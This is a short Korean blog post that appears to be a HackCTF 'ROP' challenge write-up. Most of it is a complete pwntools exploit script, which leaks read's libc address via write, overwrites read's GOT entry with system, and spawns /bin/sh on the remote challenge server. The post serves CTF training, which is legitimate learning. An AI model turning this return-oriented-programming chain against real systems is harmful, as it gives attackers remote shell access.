ii4gsp

HackCTF - ROP 본문

시스템 해킹/HackCTF

HackCTF - ROP

ii4gsp 2020. 2. 21. 20:59

 

 

 

 

문제 이름대로 ROP해주면 된다.

 

 

 

 

pop pop pop ret 가젯은 0x8048509이다.

나머지는 pwntools로 구해주자.

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3021)
e = ELF('/home/ii4gsp/HackCTF/rop/rop')
libc = ELF('/home/ii4gsp/HackCTF/rop/libc.so.6')

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
bss = e.bss()

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

pppr = 0x8048509
binsh = '/bin/sh\x00'

payload = ''
payload += '\x90' * 140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += '\x90' * 4
payload += p32(bss)
 
r.sendline(payload)

read_addr = u32(r.recv(4))
libc_base = read_addr - read_offset
system = libc_base + system_offset

payload = ''
payload += binsh
payload += p32(system)

r.sendline(payload)

r.interactive()

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Unexploitable #1  (0) 2020.05.05
HackCTF - You are silver  (0) 2020.03.05
HackCTF - UAF  (0) 2020.02.19
HackCTF - Pwning  (0) 2020.02.19
HackCTF - Gift  (0) 2020.02.18
Comments